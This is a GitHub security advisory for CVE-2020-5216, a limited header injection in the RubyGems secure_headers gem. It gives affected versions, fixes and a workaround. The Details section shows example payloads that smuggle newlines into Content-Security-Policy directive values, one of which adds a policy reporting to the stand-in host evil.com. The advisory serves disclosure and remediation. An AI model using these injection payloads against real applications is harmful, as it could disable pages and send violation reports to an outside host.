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GHSA-w978-rmpf-qmwg

Limited header injection when using dynamic overrides with user input in RubyGems secure_headers

Source: GitHub Advisory Database (reviewed) Moderate CVE-2020-5216

Packages

EcosystemPackageAffectedFixed in
RubyGems secure_headers >= 6.0.0, < 6.3.0 6.3.0
RubyGems secure_headers >= 5.0.0, < 5.2.0 5.2.0
RubyGems secure_headers < 3.9.0 3.9.0

Details

As written in the advisory (Markdown source, shown as plain text).

### Impact If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline. e.g. ```ruby override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` ``` would result in ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ``` CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial: ```ruby override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header ``` ### Patches This has been fixed in 6.3.0, 5.2.0, and 3.9.0 ### Workarounds ```ruby override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) ``` ### References https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c [The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies) ### For more information If you have any questions or comments about this advisory: * Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new) * DM us at @ndm on twitter

References

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